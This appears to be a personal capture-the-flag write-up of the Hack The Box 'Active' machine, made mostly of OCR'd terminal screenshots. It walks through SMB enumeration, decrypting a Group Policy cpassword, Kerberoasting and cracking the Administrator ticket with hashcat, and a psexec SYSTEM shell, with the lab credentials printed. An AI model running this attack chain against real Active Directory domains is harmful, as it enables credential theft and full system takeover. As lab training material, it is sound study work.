Active

09 September 2023

18:57

Paths: Crest CRT, Intro to Zephyr, AD 101

10.10.10.100

Machine generated alternative text:
(kali@ kali)-C 
—'Documents 'Active 
$ nmap -T4 -A -p- 
-OA Active 
10.10. 10.100 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-09 18:59 SST 
Nmap scan report for lø.lø.lø.løø 
Host is up (ø.ø33s latency) 
Not shown: 65513 closed tcp ports (conn-refused) 
PORT 
53/tcp 
STATE SERVICE 
open domain 
VERSION 
Microsoft DNS 6.1. 7601 (10815039) (Windows server 2008 R2 SPI) 
I dns-nsid: 
bind. version: Microsoft DNS 6.1.7601 (IDB15D39) 
Default-First-Site-Name) 
Default-First-Site-Name) 
88/tcp 
135/tcp 
139/tcp 
389/tcp 
445/tcp 
464/tcp 
593/tcp 
636/tcp 
3268/tcp 
3269/tcp 
5722/tcp 
9389/tcp 
49152/tcp 
49153/tcp 
49154/tcp 
49155/tcp 
49157/tcp 
49158/tcp 
49165/tcp 
49168/tcp 
49174/tcp 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
open 
kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-09 18:øø:17Z) 
msrpc 
netbios-ssn 
I dap 
microsoft-ds? 
kpasswd5? 
ncacn http 
tcpwrapped 
I dap 
tcpwrapped 
msrpc 
mc-nmf 
Microsoft Windows RPC 
Microsoft Windows netbios-ssn 
Microsoft Windows Active Directory L DAP (Domain. 
Microsoft Windows RPC over HTTP l.ø 
Microsoft Windows Active Directory L DAP (Domain. 
Microsoft Windows RPC 
NET Message Framing 
active.htb, 
active.htb, 
Site. 
Site: 
msrpc 
msrpc 
msrpc 
msrpc 
ncacn 
msrpc 
msrpc 
msrpc 
msrpc 
http 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Microsoft 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
RPC 
RPC 
RPC 
RPC 
RPC over HTTP l.ø 
RPC 
RPC 
RPC 
RPC 
OS : 
Service Info: Host: DC; 
Host script results. 
I smb2-time : 
date: 
start date: 2023-09- 
I smb2-security-mode: 
2:1:ø: 
Windows; CPE: cpe:/o:microsoft:windows server 2øø8:r2:sp1, 
cpe : / o :microsoft : windows 
Message signing enabled and required 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 
Nmap done: 1 IP address (1 host up) scanned in 1øø.8ø seconds 

Machine generated alternative text:
kali 
—'Document s 'Active 
L$ smbcLient -L X X X Xlø.lø.lø.løøxx 
Password for (WORKGROUP Nkali) 
Anonymous login successful 
Comment 
Remote Admin 
Default share 
Remote IPC 
Logon server share 
Logon server share 
Sharename 
ADMIN$ 
c$ 
IPC$ 
NETLOGON 
Replication 
SYSVOL 
Users 
Reconnecting with SMBI 
do connect: Connection 
Unable to connect with 
Type 
Disk 
Disk 
IPC 
Disk 
Disk 
Disk 
Disk 
for workgroup listing. 
to 10.10. 10.100 failed (Error NT_STATUS RESOURCE NAME NOT_FOUND) 
no workgroup available 
SMBI 

Machine generated alternative text:
kali)-C 
—'Documents 'Active 
smbclient 
.10.10 .1øøXXRep1ication 
Password for CWORKGROUPXkaLi) 
Anonymous Login successful 
Try "help" to get a list of possible commands. 
smb: 

There are loads of folders and files so rather than manually go through and download them individually, we can do:

Machine generated alternative text:
smb: recurse ON 
smb: prompt OFF 
smb: mget * 
getting file Nactive.htbXp01iciesM31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9hGPT.1N1 of size 23 as active.htb/p01icies/01B2F34ø-ø16D-11D2-945F-øøcø4FB984F9/GPT.1N1 ( 
0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) 
getting file Nactive.htbXp01iciesM6AC1786c-ø16F-11D2-945F-øøcø4fB984F9hGPT.1N1 of size 22 as active.htb/p01icies/16AC1786c-ø16F-11D2-945F-øøcø4fB984F9/GPT.1N1 ( 
0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) 
getting file Nactive.htbXp01iciesM31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9hGroup policyXGPE.1N1 of size 119 as active.htb/p01icies/01B2F34ø-ø16D-11D2-945F-øøcø4FB98 
4F9VGroup policy/GPE.INI (1.2 KiloBytes/sec) (average 0.5 
Ki LoBytes/sec) 
getting file Nactive.htbXpoLiciesM31B2F34ø-ø16D-11D2-945F- 
øøcø4FB984F9hMACHINEXRegistry.p01 of size 2788 as active.htb/p01icies/01B2F34ø-ø16D-11D2-945F-øøcø4FB9 
84F9VMACHINE/Registry . pol (13.6 KiloBytes/sec) (average 5 
7 KiloBytes/sec) 
getting file Nactive.htbXpoliciesM31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9hMACHINEXpreferencesXGroupsXGroups.xm1 of size 533 as active.htb/p01icies/131B2F34ø-ø16D-11 
D2-945F-øøcø4FB984F9VMACHINE/preferences/Groups/Groups.xml (3.7 KiloBytes/sec) (average 5.2 KiloBytes/sec) 
getting file Nactive.htbXpoLiciesM31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9hMACHINEXMicrosoftXWindows NTXSecEditXGptTmp1.inf of size 1098 as active.htb/p01icies/01B2 
F34ø-ø16D-11D2-945F-øøcø4FB984F9/MACHINE/Microsoft/Windows NT/secEdit/GptTmp1.inf (13.6 KiloBytes/sec) (average 6.1 KiloBytes/sec) 
getting file Nactive.htbXpoLiciesM6AC1786C-ø16F-11D2-945F-øøcø4fB984F9hMACHINEXMicrosoftXWindows NTNSecEditXGptTmpl.inf of size 3722 as active.htb/p01iciesA6AC1 
786C-ø16F-11D2-945F-øøcø4fB984F9/MACHINE/Microsoft/Windows NT/secEdit/GptTmp1.inf (45.4 KiloBytes/sec) (average 10.0 KiloBytes/sec) 
smb: 

I notice a groups.xml which could contain some useful items. Let's have a closer look

Machine generated alternative text:
kali)-C 
-/m/(31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9VMACHINE/Preferences/Groups 
Groups. xml 
c?xml 
uid-"IEF57DA28-5F69-453ø-A59E-AAB58578219DFXProperties 
KOhJ0dcqh4ZGMexosQbcpZ3xUjTLfcuNH8pG5aSVYdYw/Ng1VmQ" changeLogon-"ø" 
Q Group" 
action:" 
clsid-"0125E937-EB16-4b4c-9934-544FC6D24D26FXlJser clsid-"IDF5F1855-51E5-4d24-8BIA-D9BDE98BAIDIF TGS" image:" 2" changed:" 2018-07-18 
cpassword- t/QS9Fe1cJ83mjWA98gw9gu 
newName-" 
full Name:"" 
description:"" 
noChange-"1" neverExpires-"1" acctDisabled-"ø" userName-"active.htbÅSVC TGS" 

There is a cpassword stored in the file! This can be decrypted

Machine generated alternative text:
(kali@ kali)-C 
-/m/(31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9VMACHINE/Preferences/Groups 
$ gpp-decrypt 
edBSHowhZLTjt/QS9Fe1cJ83mjWA98gw9guK0hJ0dcqh4ZGMexosQbcpZ3xUjTLfcuNH8pG5aSVYdYw/Ng1VmQ 
GPPstillStandingStrong2k18 

Now we have a password but we need to work out what users are on the machine

Machine generated alternative text:
kali 
-/m/(31B2F34ø-ø16D-11D2-945F-øøcø4FB984F9VMACHINE/Preferences/Groups 
•$ GetADUsers.py active.htb/svc TGS:GPPstillStandingStrong2k18 
-dc-ip 
-all 
10.10. 10.100 
/usr/share/offsec-awae-whee1s/pyOpenSSL-19.1. ø-py2 . py3-none-any . wh1/OpenSSL/crypto . py : 12 : 
thon core team. Support for it is now deprecated in cryptography, and will be removed 
Impacket vø.9.19 
Copyright 2019 SecureAuth Corporation 
) Querying lø.lø.lø.løø for information about domain. 
19:50. 
CryptographyDeprecationWarning: 
the next release. 
Python 2 is no longer supported by the Py 
• 40 
LastLogon 
2023-09-09 
cneve» 
cneve» 
2018-07-21 
18:59:23 
Name 
Administrator 
Guest 
krbtgt 
SVC TGS 
Emai L 
PasswordLastSet 
2018-07-18 
cneve» 
2018-07-18 
2018-07-18 
20. 
21:14:38 

Now we have some usernames, lets go back to trying the previous SMB shares as the SVC\_TGS account as that is none standard

Had some oddness with smbmap so had to mount the folder

Machine generated alternative text:
kali)-C 
—'Documents 'Active 
GPPsti11StandingStrong2k18 
N/. 
10.10. 10.100 
smbmap -d 
active.htb 
N/. 
SVC TGS 
(l 
ShawnDEvansagmail . com 
Samba Share Enumerator I Shawn Evans 
SMBMap 
https : //github . com/ShawnDEvans/smbmap 
'priv status' 
where it is not associated with a value 
Detected 1 hosts serving SMS 
Established 1 SMS session(s) 
cannot access local variable 
Bummer : 

C:\507956E5\D3CF0293-356D-4D78-8B70-1C4BFBCFF146_files\image009.png

Machine generated alternative text:
H kali@ kali C—/Documents/Active 
L-$ sudo mount 
cifs // 10.10.1ø.1øø/Users 
/mnt/Users 
-o username-SVC TGS , password-GPPsti11StandingStrong2k18, domain-active.htb 

Machine generated alternative text:
(kali'S 
—/Documents/Active 
$ cd 
/mnt/Users 
( kali@ kali C/mnt/Users 
' Default User' 
desktop. ini 
'My Documents' 
public 
'My Music' 
SVC_TGS 
'My Pictures' 
Administrator 
kali@ kali C/mnt/Users 
SVC_TGS 
Default 
( kali@ kali )- /mnt/Users/SVC_ 
Desktop Downloads 
Contacts 
(kali@ kali C/mnt/Users/SVC_ 
$ cd 
Desktop 
( kali@ kali )- /mnt/Users/SVC_ 
user. txt 
TGS 
Favorites 
TGS 
TGS/Desktop 
Links 
'My Videos' 
' Saved Games ' 
Searches 

User flag obtained and now we will see if there are users that are Kerberoastable

Screen clipping taken: 09/09/2023 20:45

Machine generated alternative text:
(kali@ kali)-C 
—'Documents 'Active 
$ impacket-GetUserSPNs 
active . htb/svc_tgs :GPPsti11StandingStrong2k18 
-dc-ip 
10.10. 10.100 
Impacket vø.ll.ø 
Copyright 2023 Fortra 
-request 
PasswordLastSet 
LastLogon 
2023-09-09 18:59: 23.663746 
Delegation 
ServicePrincipa1Name Name 
MemberOf 
active/CIFS:445 
Administrator 
2018-07-18 
CN-Group Policy Creator Owners, Dc-active, DC-htb 
CCache file is not found. Skipping. . 
$krb5tgs$23$*Administrator$ACTIVE . HTB$active . htb/Administrator*$d59a317c5bøeb15a91dfcd7ø9b33fe71$37e6ø3ab659fd5648132c76ø3fc77b9232d4øf4fca99f2aa1e9d8d35dd7Ø49aecø 
f65f455daøø7fb692føbb5dd6cb5218116edc11342349f7363352b52d3f492cc45baa65a9c35bd522f5632b44e2Ø494afec8ceø66b1d52787177a696fb8øa7a4ae6cøff377b439a5972314f74519a4c6f45 
919076ca8be3bd4127b1b789e94127Ø5546Ø1d72f34755fabf462dd7f5d97f9a1Ø6c8773c169b577øø2adcaø92d3726d3Ø9899øb164dø78ødfad795a4dc73d7c492cfa2318f1166e96e3f48c8bbb4daefc8 
09fd72bf266663c4d1døaf841b44b531be8fa22cabacøde8f786943b5fcbf3257c51bb752d495a6fe5ca74a9c788f5bb36øc559a5eØ565fc9716Ø84d2378Ø5ba137bd2926b875øeff971499e1f9df6ød1bd 
7dØ1f8øf9a286ad88abad82b86ff19e45e55a2c5bd3e2a58f6b9a92f5Ø22Ø97b89ddc366ø6e5a9fc14dccfe125cc1f6726ed53c311dcø5a7øaa5aaf55f8522989ebac4cce67373979ffac54343f3684c2aø 
5afc3ø7117Ø483fae32d81395ø9efff7d4b3163e4b58eøbbfad848ø4caøcadc6f82815333aø64b2d5Ø6aa56248683d61859d3e25cc8d9c38baØ9221193dfd47297766ba8f93fd16c39d2c43e392ØØ9Ø712c 
If66388bc25Ø6abfecb3f4446cbc44ø9c455ø46bbf86b2242859cba692Øa4b7cf4e2c422fe2ca3c29898b3b7c5fd6d9Ø12e12b52993aøø66c5fbcb8457ad13aba7øcac47f6Ø5aø7Øbf94aøø7e86baøø4fd2 
d9c8Ø61c97fce84a25de454963f9c9239675e13c53eda8caaace676baø2cfbb1e9efd4bd51b683417a139888afa8283øc763ec84521cf1a74c2aØ8d919932a431d1e7e15e989e42c9f67e218cbd2b242256 
ceaad5b36d97b1a3øeceefb3e11277e3e6f8742d7efØ62fØ7e854Ø8Ø64e7cdcdfdbec5f5da9adøe5d4ba1cdbaød11fbøab2aebafced11Øb3øa33fde8575b3ab5f9df44øcbd6665aacaaf2292a28c8ac73b5 
9ee9326da9eødø6e1dc7c9c7ce9189625øf5aø72øe9c723897døe74928afe6ee385e3c5386f77øøae8cø8e4ec11181bøøøfeøac91c7f21accab6cf592e1ba78bbed1ae3986b93d5f1993731e9cae73f3dc7 
6453ab6ea3f22f69ad1e538d35963b754ed3f362ø5ae8b8e5bødaføøc33b8418cc3b22død9c4f82øf4de794øcac272cøadd4da35c914bf6øcd5ef835573cfa67489c9885ee98ø362a7ø38a83fdø7df6bf16 
774038a8d1ø54c854863ø561c85d163d3ff23359eøcc79ca5cff766e1cøbe1574d1b2f4532ae74eb5øøc 

Copy the hash into a text file and crack with hashcat

Machine generated alternative text:
—'Document s 'Active 
L-$ hashcat -m 
131øø hash. txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting 
openCL API (openCL 3.0 PoCL 4.04debian Linux, None"sserts, RELOC, SPIR, LLVM 15.0. 7, SLEEF, DISTRO, POCL DEBUG) 
* Device : cpu-sandybridge-1nte1(R) core(TM) 15-6600K CPU 3.50GHz, 1436/2936 MB (512 MB al locatable), 2MClJ 
Platform (The pocl project) 
Minimum password length supported by kernel: 
Maximum password length supported by kernel: 256 
Hashes: 1 digests; 1 unique digests, 1 unique salts 
Bitmaps: 16 bits, 65536 entries, øxøøøøffff mask, 262144 bytes, 
Rules: 1 
Optimizers applied: 
* Zero-Byte 
* Not-Iterated 
* Single-Hash 
* Single-Salt 
ATTENTION! Pure (unoptimized) backend kernels selected. 
5/13 rotates 
Pure kernels can crack longer passwords, but drastically reduce performance. 
If you want to switch to optimized kernels, append -O to your command Line. 
See the above message to find out about the exact Limits. 
Watchdog: Temperature abort trigger set to 9øc 
Host memory required for this attack: MB 
Dictionary cache hit: 
/usr/share/wordlists/rockyou . txt 
-k Filename . 
* Passwords. 
14344385 
-k Bytes. 
* Keyspace . 
139921507 
14344385 
Cracking performance lower than expected? 
* Append -O to the command line. 
This Lowers the maximum supported password/salt Length (usually down to 32) 
* Append -w 3 to the command line. 
This can cause your screen to Lag. 
* Append -S to the command line. 
This has a drastic speed impact but can be better for specific attacks. 
Typical scenarios are a small wordlist but a Large ruleset. 
* Update your backend API runtime / driver the right way: 
https://hashcat . net/faq/wrongdriver 
* Create more work items to make use of your parallelization power: 
https : //hashcat . net/faq/morework 

Machine generated alternative text:
$krb5tgs$23$*Administrator$ACTIVE . HTB$active . htb/Administrator*$d59a317c5bøeb15a91dfcd7ø9b33fe71$37e6ø3ab659fd5648132c76Ø3fc77b9232d4øf4fca99f2aa1e9d8d35dd7Ø49aecø 
f65f455daøø7fb692føbb5dd6cb5218116edc11342349f7363352b52d3f492cc45baa65a9c35bd522f5632b44e2ø494afec8ceø66b1d52787177a696fb8øa7a4ae6cøff377b439a5972314f74519a4c6f45 
919076ca8be3bd4127b1b789e94127ø5546ø1d72f34755fabf462dd7f5d97f9a1ø6c8773c169b577øø2adcaø92d3726d3ø9899øb164dø78ødfad795a4dc73d7c492cfa2318f1166e96e3f48c8bbb4daefc8 
09fd72bf266663c4d1døaf841b44b531be8fa22cabacøde8f786943b5fcbf3257c51bb752d495a6fe5ca74a9c788f5bb36øc559a5eø565fc9716Ø84d2378Ø5ba137bd2926b875øeff971499e1f9df6ød1bd 
7dØ1f8øf9a286ad88abad82b86ff19e45e55a2c5bd3e2a58f6b9a92f5Ø22Ø97b89ddc366Ø6e5a9fc14dccfe125cc1f6726ed53c311dcø5a7Øaa5aaf55f8522989ebac4cce67373979ffac54343f3684c2aø 
5afc3ø7117ø483fae32d81395ø9efff7d4b3163e4b58eøbbfad848ø4caøcadc6f82815333aø64b2d5Ø6aa56248683d61859d3e25cc8d9c38baØ9221193dfd47297766ba8f93fd16c39d2c43e392øø9ø712c 
If66388bc25Ø6abfecb3f4446cbc44Ø9c455Ø46bbf86b2242859cba692øa4b7cf4e2c422fe2ca3c29898b3b7c5fd6d9Ø12e12b52993aøø66c5fbcb8457ad13aba7øcac47f6Ø5aø7Øbf94aøø7e86baøø4fd2 
d9c8ø61c97fce84a25de454963f9c9239675e13c53eda8caaace676baØ2cfbb1e9efd4bd51b683417a139888afa8283øc763ec84521cf1a74c2aø8d919932a431d1e7e15e989e42c9f67e218cbd2b242256 
ceaad5b36d97b1a3øeceefb3e11277e3e6f8742d7efØ62fØ7e854Ø8Ø64e7cdcdfdbec5f5da9adøe5d4ba1cdbaød11fbøab2aebafced11Øb3øa33fde8575b3ab5f9df44øcbd6665aacaaf2292a28c8ac73b5 
9ee9326da9eødØ6e1dc7c9c7ce9189625øf5aø72øe9c723897døe74928afe6ee385e3c5386f77øøae8cø8e4ec11181bøøøfeøac91c7f21accab6cf592e1ba78bbed1ae3986b93d5f1993731e9cae73f3dc7 
6453ab6ea3f22f69ad1e538d35963b754ed3f362ø5ae8b8e5bødaføøc33b8418cc3b22død9c4f82øf4de794øcac272cøadd4da35c914bf6øcd5ef835573cfa67489c9885ee98ø362a7ø38a83fdø7df6bf16 
774038a8d1ø54c854863ø561c85d163d3ff23359eøcc79ca5cff766e1cøbe1574d1b2f4532ae74eb5øøc : Ticketmaster1968 
Hardware . Mon . 
Session... 
Status. 
Hash . Mode.. 
Hash. Target.... .. 
Time . Started. 
Time . Estimated . . 
Kernel. Feature 
Guess . Base.. 
Guess.Queue...... 
Speed .t$l.. 
Recovered... ..... 
Progress.... ..... : 
Rejected. 
Restore. Point.... 
Restore. Sub . 
Candidate. Engine. 
Candidates .t$l.. 
hashcat 
Cracked 
13100 (Kerberos 5, etype 23, TGS-REP) 
$krb5tgs$23$*Administrator$ACTIVE . HTB$active . htb/Ad . 
sat sep 9 2023 (14 secs) 
sat sep 9 2023 (ø secs) 
Pure Kernel 
File (/usr/share/wordlists/rockyou. txt) 
1/1 (løø.øø%) 
eb5øøc 
874.2 kH/s (ø.47ms) Accel:256 Loops:l Thr:l vec•.8 
1/1 (løø.øø%) Digests (total), 
1/1 (løø.øø%) Digests (new) 
10537472/14344385 (73.46%) 
0/10537472 (ø.øø%) 
10536960/14344385 (73.46%) 
Salt:ø Amplifier:ø-l Iteration:ø-l 
Device Generator 
Tiffany95 
Util: 82% 
9 20: 44 : 46 
Tiana87 
2023 
2023 
Started: 
Stopped. 
Sat Sep 
Sat Sep 

From this we get a password of Ticketmaster1968

We can now check the username and password combination to see if they can get a session

Machine generated alternative text:
(kali@ kali)-C 
—'Document s 'Active 
$ crackmapexec smb lø.lø.lø.løø 
Administrator 
active. htb 
Ticketmaster1968 
Windows 6.1 Build 7601 x64 (name: DC) (domain: active.htb) (signing: True) (SMBv1 : False) 
(+1 active.htbXAdministrator:Ticketmaster1968 (pwn3d!) 
10.10. 10.100 
10.10. 10.100 
445 
445 

We can!

Machine generated alternative text:
(kali@ kali)-C 
—'Document s 'Active 
$ psexec.py active.htb/Administrator: 'Ticketmaster1968•a1ø.1ø.1ø.1øø 
Impacket vø.9.19 
Copyright 2019 SecureAuth Corporation 
) Requesting shares on lø.lø.lø.løø..... 
Found writable share ADMIN$ 
Uploading file hknVTbVV.exe 
Opening SVCManager on lø.lø.lø.løø. 
Creating service PTup on lø.lø.lø.løø..... 
) Starting service PTup 
C!) Press help for extra shell commands 
Microsoft Windows (Version 6.1.7601) 
Copyright (c) 2009 Microsoft Corporation. 
All rights reserved. 
C: NWindowsXsystem32Äuhoami 
nt authorityxsystem 

Very interesting box